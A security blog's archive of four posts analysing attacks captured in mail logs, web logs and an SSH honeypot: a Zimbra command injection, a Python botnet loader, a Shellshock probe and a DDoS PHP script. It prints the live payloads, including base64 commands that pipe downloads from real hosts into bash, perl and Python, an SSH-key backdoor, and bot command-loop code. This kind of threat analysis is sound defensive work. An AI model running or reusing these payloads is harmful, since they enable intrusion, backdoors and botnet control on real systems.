Archive for the ‘exploits’ Category

Zimbra exploit

Tuesday, September 1st, 2026

postfix logs are sometimes interesting. See here:


2026-08-30T07:23:30.237580+00:00 manta postfix/smtpd[1103478]: NOQUEUE: reject: RCPT from unknown[192.243.105.20]: 550 5.7.1 Client host rejected: cannot find your reverse hostname, [192.243.105.20]; from=test@example.invalid to=<"x: Service status change: localhost $(echo 'Y3VybCAtc1MgMTQ3LjE4Mi4yMjQuMjE2L3plZHxwZXJsICYmIGN1cmwgLXNTIDE0Ny4xODIuMjI0LjIxNi9oaC5zaHxiYXNoCg=='|base64 -d|bash) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid>

That does not look like reasonable smtp-chat ..the “echo” command translates to:

curl -sS 147.182.224.216/zed|perl && curl -sS 147.182.224.216/hh.sh|bash

The downloaded “zed” file is an attacking IRC client (bot), controlled by the IRC server 89.47.232.104.

File can be found here: irc-client

The hh.sh installs an SSH public key as a persistent backdoor by appending it to

/opt/zimbra/.ssh/authorized_keys

This looks like:

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCeIfOA/sN/0yWH46X1rdnMq97nWkntL+M4gjtQjzgitj0nHT1+Gou9IN6oFTLhEIsklzWxUl/ZL5DwWrRiC+op4VsuHgD2+FzHIWQgO1Uqq2o0mjc7jBNDaUZGDughILDcl6OFeeViMkjJQpnnCFGEIT6DQEut+Cw9dLEcuzw9RN2QNa6RhLU02aqderBP+6E2tL74LMcr+vrzMvPlyTufKf7SeGgQ4pn0vp6ZZM6llT6h1lImhcEcdtyPfRVo+hFM2cA0wIrh0GcTU0/r3SiZfPvndVV4y8GhgndKgQxpGJ2/CVu/KN/vmkNGAWQTwZRu6TwNhb7c2Nsjim9N79foh1Nu3gNujr4Zg/pnOIbcqf0yOEpMJunZV3XX55FAaAXr2E5kkcJWd5K6j2DX590AT2y6hfVF0BQMrDkaRlOm65d3Tr+gfeUCQhu27gdoW1Big9SX+FgUgPptjQYwSzufImnFBn/sTl87t3JGt1bhuwroijdq69dc7d7A0tB5636INyM2RwaJx5dRxL39SDF1ZhVXHQA+FzykTLydll8x8t/lpV+zqB5aUZlgkLVDPaWyqh7SZcXv/eZK/fintNzI4UBOgH4kzhVjKOoCGEZc1/sDDAxlFe1LzaCA/x3yl5OmrXy8XzyhjG4JSDqCO4hHQXXq+LDNu6GqigWTFSIwKw== my-server-key-2026" >> /opt/zimbra/.ssh/authorized_keys;chmod 600 /opt/zimbra/.ssh/authorized_keys

This exploit seems to work against “ZIMBRA” ; some CVE were published on 28.8.26 This attack here might be related to CVE-2026-73570, an unauthenticated command injection vulnerability via specially crafted SMTP requests which is currently being actively exploited. I have not verified that this particular attack actually uses CVE-2026-73570.

Posted in Allgemein, exploits | No Comments »

Linux Botnet

Wednesday, January 10th, 2018

another nice ssh honeypot-catch:

uname nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CndoaWxlIFRydWU6CiAgICB0cnk6CiAgIC
AgICAgcGFnZT1iYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi51cmxvcGVuKCJodHRwOi8vay56c3c4LmNjL0FwaS8iKS5yZWFkKCkpCiAgICAgICAgZXhlYyhwYW
dlKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKICAgIHRpbWUuc2xlZXAoMzAwKQ=='))" > /dev/null 2 >& 1 &

That downloads a base64-encoded complete python-program from  http://k.zsw8.cc/Api/

In that program a crontab-entry is made

   if runCodePath not in crontabData:
                f = open("/etc/crontab", "a+")
                f.write("\n0 */6 * * * root %s\n" % runCodePath)

then it loads data about the hacked server to the herder:

   my_data = {"key":d.get_key, "name":d.get_name, "os":d.get_platform, "core":d.get_core, "cpu":d.get_cpucount, "cpuuse":d.get_cpuuse, "status":d.get_status}
            f = urllib.urlopen(apiURL, urllib.urlencode(my_data))

and waits for commands:

 

  if data.has_key("download") and data["download"]:
                    DownExec(data["download"], task_id)
       if data.has_key("cmd") and data["cmd"]:
                    CmdExec(data["cmd"], task_id)

Wonder what would happen if the computer name would be a beef-xss hook or something..?

Posted in Bots, exploits, Honeypots | No Comments »

recently in the webserver log ..

Monday, August 17th, 2015

While strolling through the webserver-logs, I found this little asshole..:

78.25.80.226 - - [16/Aug/2015:21:35:01 +0200] "GET /suspendedpage.cgi
HTTP/1.1" 404 494 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget
http://189.11.9.243/fix.pl;curl -O http://189.11.9.243/fix.pl;fetch
http://189.11.9.243/fix.pl;lwp-download http://189.11.9.243/fix.pl;perl
fix.pl;rm -rf fix.pl;rm -rf fix.pl*\""

fix.pl installs an irc-connection and waits for commands like
portscan, tcpflood or a reverse shell ..

Looks like there are still servers out there which are vulnerable to shellshock ..

Posted in Bots, exploits | No Comments »

DDoS PHP-Script

Tuesday, December 18th, 2012

Just recently the BSI warned about an ongoing attack to US Banks.
The php-script involved showed a “404” Error when called without any
arguments.

A closer looks shows a “404 Not Foun derror” WITH the typo in it.
Now we have a neat string to search for in google or wherever..
and bingo: some other victom already posted the source code
of the infected webserver:

 

Here we can see that a POST action “stop” makes the DDoS go away..


function stoped()
{
@unlink($base."stmdu.php");
@unlink($base."stp.hp");
cmdexec("killall ping;");
print "Stop & Clean";
}

And here is where the typo sits:


if(md5(md5(md5($_REQUEST['pass'])))!=$pass_up and $_SESSION['LoGiN']!=true)
{
print "404 Not Found

Not Found

The requested URL ".$_SERVER['PHP_SELF']." was not found on this server

Additionally, a 404 Not Foun derror was encountered while trying to use an Error Document to handle the request

";
die();
exit();
}

 

 

Tags: ,
Posted in exploits | 1 Comment »